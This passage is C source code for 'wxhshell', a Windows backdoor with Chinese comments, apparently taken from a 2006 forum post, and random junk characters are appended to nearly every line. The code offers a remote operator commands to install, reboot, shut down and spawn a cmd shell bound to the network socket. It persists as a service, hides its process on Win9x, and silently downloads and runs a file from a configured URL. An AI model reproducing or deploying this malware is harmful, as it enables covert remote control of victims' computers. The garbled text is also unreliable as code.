  // 帮助 ]Oso#GYD  
  case '?': { > saI+u'o  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); GS%b=kc  
    break; _01Px a2.  
  } A3s57.Z]|  
  // 安装 /77z\[CeYH  
  case 'i': { #x~_`>mDN  
    if(Install())  _^T}_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yGEb7I$h  
    else 9X]f[^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D/s?i[lb  
    break; MsjnRX:c3u  
    } #&siHHs \  
  // 卸载 zilaP)5x6  
  case 'r': { 4}-#mBV]/  
    if(Uninstall()) wj%wp[KA$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j=j+Nf$  
    else 9#@Zz4Ww  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IVteF*8hU  
    break; ,F: =(21  
    } (~#G'Hd  
  // 显示 wxhshell 所在路径 }1m_o@{3P  
  case 'p': { "{( [!  
    char svExeFile[MAX_PATH]; ( V4G<-jG  
    strcpy(svExeFile,"\n\r"); O5-;I,)H  
      strcat(svExeFile,ExeFile); x!?Z *v@I  
        send(wsh,svExeFile,strlen(svExeFile),0); #:{6b *}  
    break; @ER1zKK?  
    } x/I;nM Y  
  // 重启 0<&M?^  
  case 'b': { w3bIb$12  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); u^=@DO'  
    if(Boot(REBOOT)) jG8;]XP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !6E:5=L^  
    else { d@>\E/zA  
    closesocket(wsh); }ywi"k4>  
    ExitThread(0); ./.=Rw  
    } :[?!\m%0  
    break; ragSy8M  
    } Dl\d_:+  
  // 关机 Dh`=ydI5  
  case 'd': { kCp)!hVQ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); F5IZ"Itu(  
    if(Boot(SHUTDOWN)) W)-hU~^OM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kfCKhx   
    else { EUZq$@uWL  
    closesocket(wsh); bp%S62Dj  
    ExitThread(0); J @B4 R&V  
    } |<Bpv{]P  
    break; -S$$/sR  
    } ,}<RrUfD  
  // 获取shell 76cEKHa<  
  case 's': { -+P7:4/  
    CmdShell(wsh); .)`-Hkxa  
    closesocket(wsh); F< |c4  
    ExitThread(0); *?N<S$m  
    break; <E}N=J'uJ  
  } )ddsyFGW  
  // 退出 P6we(I`"2  
  case 'x': { xid:"y=_&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \7 Mq $d  
    CloseIt(wsh); ~:Ixmqi}R  
    break; q^6N+^}QN  
    } Wp4K6x  
  // 离开 *w 21U!  
  case 'q': { !KDr`CV&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +H}e)1^ I  
    closesocket(wsh); @dV9Dpu  
    WSACleanup(); T6=-hA^A  
    exit(1); ;eh/_hPM  
    break; [; @):28"  
        } CB({Rn  
  } %uuH^A  
  } cY~M4:vgT  
W.$6 pzB(  
  // 提示信息 ee<H@LeG  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2 `&<bt[g  
} dXO=ZU/N  
  } f".q9{+p,  
ue9h   
  return; J)huy\>,  
} qUg9$oh{LI  
v= 8VvT 8  
// shell模块句柄 6ZEdihBei  
int CmdShell(SOCKET sock) 8m7;x/0ld  
{ LE| <O  
STARTUPINFO si; f9F2U )  
ZeroMemory(&si,sizeof(si)); uk6g s)qxC  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0BFz7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ucM.Ro=@  
PROCESS_INFORMATION ProcessInfo; ~o Fh>9u  
char cmdline[]="cmd"; eP?~- #  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %`oHemSy  
  return 0; 0BDoBR  
} V4\56 0  
xp=Zd\5W$  
// 自身启动模式 k}<<bm*f  
int StartFromService(void) 2_N/wR#=&  
{ w&C1=v -h  
typedef struct #%WCL'6B  
{ ?\M)WDO  
  DWORD ExitStatus; mR,O0O}&  
  DWORD PebBaseAddress; SS0_P jKz  
  DWORD AffinityMask; U/5$%0)  
  DWORD BasePriority; K=o:V&  
  ULONG UniqueProcessId; QQq/5r4O`q  
  ULONG InheritedFromUniqueProcessId; .5z&CJDiIi  
}   PROCESS_BASIC_INFORMATION; i*z0Jf["  
Dt|fDw$]D  
PROCNTQSIP NtQueryInformationProcess; 19&)Yd1  
%yKKUZ~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vG3M5G  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ki4Xp'IK  
uAT/6@  
  HANDLE             hProcess; Of&"U/^  
  PROCESS_BASIC_INFORMATION pbi; ?V?<E=13  
yF;?Hg  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); sL8>GtVo  
  if(NULL == hInst ) return 0; d.I%k1`(  
g41<8^(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #@q1Ko!NZ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1~L\s}|2d  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); M#T#:wf~  
w_!%'9m>  
  if (!NtQueryInformationProcess) return 0; /]g>#J%b  
S%{lJYwXt  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); UI_v3c3b  
  if(!hProcess) return 0; F Nlx1U[  
yeNvQG  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qZP:@r"  
_1\poAy  
  CloseHandle(hProcess); 01o [!nT  
%VS 2M #f  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c l9$g7  
if(hProcess==NULL) return 0; SlT7L||Ww  
;tXY =  
HMODULE hMod; hWm0$v 1p  
char procName[255]; $i -zMa  
unsigned long cbNeeded; df yrn%^Ia  
_ }^u-fJ/~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3jS7 uU  
&rcdr+'  
  CloseHandle(hProcess); ~9bv Wd1D  
2=O ))^8  
if(strstr(procName,"services")) return 1; // 以服务启动 {F/q{c~]  
\ JG #m  
  return 0; // 注册表启动 <ipWMZae0F  
} q6Rw4  
d&?F#$>7|  
// 主模块 \D ^7Z97  
int StartWxhshell(LPSTR lpCmdLine) moe/cO5a9  
{ 03C .Xh=!  
  SOCKET wsl; Gg}t-_M  
BOOL val=TRUE; c{ 7<H  
  int port=0; !;jgzi?z  
  struct sockaddr_in door; 5Vm Eyb  
Eh:yR J_8  
  if(wscfg.ws_autoins) Install(); :Nkz,R?  
&D^e<j}RQ  
port=atoi(lpCmdLine); dt0T t  
+~:x}QwGT  
if(port<=0) port=wscfg.ws_port; n}f3Vrl  
j+ I*Xw  
  WSADATA data; =^#0.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; N7a[B>+`  
51z/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3#B@83C0Z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); fH; |Rm  
  door.sin_family = AF_INET; YT][\x  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +hZ] B<$  
  door.sin_port = htons(port); ~PCTLP~zI  
|K6nOX!i  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qR_SQ VN  
closesocket(wsl); k~& o  
return 1; fG3wc l~  
} ";o~&8?)  
}tu4z+T2  
  if(listen(wsl,2) == INVALID_SOCKET) { t Z+0}d  
closesocket(wsl); \Ec X!aC  
return 1; ~R)1nN|  
} X"wF Qa  
  Wxhshell(wsl); vu44!c@  
  WSACleanup(); 1T:)Zv'  
_@7(g(pY 3  
return 0; OW?uZ<z  
>=bt   
} `..EQ BM  
z_'dRw  
// 以NT服务方式启动 3Nc'3NPQ'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [1e.i  
{ $x/J+9Ww  
DWORD   status = 0; xNn>+J  
  DWORD   specificError = 0xfffffff; /\nJ  
.x]'eq}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; BF>T*Z-Ki  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; g~eJ YS,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %s]U@Ku(a  
  serviceStatus.dwWin32ExitCode     = 0; r}Ltv?4  
  serviceStatus.dwServiceSpecificExitCode = 0; nMLU-C!t  
  serviceStatus.dwCheckPoint       = 0; Hi$#!OU  
  serviceStatus.dwWaitHint       = 0; { 576+:*  
gfV]^v  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9+W!k^VWq  
  if (hServiceStatusHandle==0) return; /@6E3lh S  
P>>f{3e.  
status = GetLastError(); :vw0r`  
  if (status!=NO_ERROR) cn@03&dAl  
{ c]S+70!n  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  |h  
    serviceStatus.dwCheckPoint       = 0; ',:3>{9  
    serviceStatus.dwWaitHint       = 0; XC :;Rq'j  
    serviceStatus.dwWin32ExitCode     = status; 3/SfUfWo  
    serviceStatus.dwServiceSpecificExitCode = specificError; KsZ@kTs  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); C3]\$  
    return; ?0? x+  
  } 7ZL,p:f  
:P HUsy  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `^?}s-H+  
  serviceStatus.dwCheckPoint       = 0; nZ"{y  
  serviceStatus.dwWaitHint       = 0; 8}Fw%;Cb  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); zuK/(qZ  
} IvY,9D  
|~7+/VvI+  
// 处理NT服务事件,比如:启动、停止 _3s~!2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @?'t@P:4  
{ ~JAH-R  
switch(fdwControl) c(QG4.)m  
{ ?ykVfO'  
case SERVICE_CONTROL_STOP: #(m `2Z`H  
  serviceStatus.dwWin32ExitCode = 0; [lmHXf@1C  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; vx({N?  
  serviceStatus.dwCheckPoint   = 0; d4b 9rtM  
  serviceStatus.dwWaitHint     = 0; Pn~pej5'K  
  { p7%0hLW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f6keWqv<GW  
  }  JsZAP  
  return; 45]Ym{]  
case SERVICE_CONTROL_PAUSE: 7f.4/x^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !%SdTaC{T  
  break;  Oz"@yL}  
case SERVICE_CONTROL_CONTINUE: e-L5=B  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 67Af} >Q  
  break; <1;,B%_^  
case SERVICE_CONTROL_INTERROGATE: MzBfHt'Rk  
  break; 9^6|ta0;0  
}; ,-w-su=J_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `I]1l MJ)o  
} hY\Eh.  
[Q2S3szbt6  
// 标准应用程序主函数 DLwC5Iir  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <~IH`  
{ u5  [1Z|O  
?^+#pcX]t|  
// 获取操作系统版本 /\IAr,w[  
OsIsNt=GetOsVer(); z*??YUT\M  
GetModuleFileName(NULL,ExeFile,MAX_PATH); X ,V= od>  
;oN{I@}k  
  // 从命令行安装 jKY Aid{-  
  if(strpbrk(lpCmdLine,"iI")) Install(); #u}v7{4  
.0 R/'!e  
  // 下载执行文件 Pn'QOVy  
if(wscfg.ws_downexe) { l8hvq(,{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .FfwY 'V  
  WinExec(wscfg.ws_filenam,SW_HIDE); \NvC   
} 8GF[)z&|P:  
rf1wS*uU+  
if(!OsIsNt) { (%ri#r  
// 如果时win9x,隐藏进程并且设置为注册表启动 r'mnkg2,  
HideProc(); _qO;{%r  
StartWxhshell(lpCmdLine); 1C5kS[!  
} qaCi)f!Dl  
else rR),~ @]sL  
  if(StartFromService()) /iuUUCk  
  // 以服务方式启动 .N-'; %8  
  StartServiceCtrlDispatcher(DispatchTable); nzQYn  
else V7K tbL#  
  // 普通方式启动 ]yj4~_&O  
  StartWxhshell(lpCmdLine); #T gz,e9  
(Fbm9(q$d  
return 0; } K+Q9<~u  
}
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只看该作者 1 发表于: 2006-10-10
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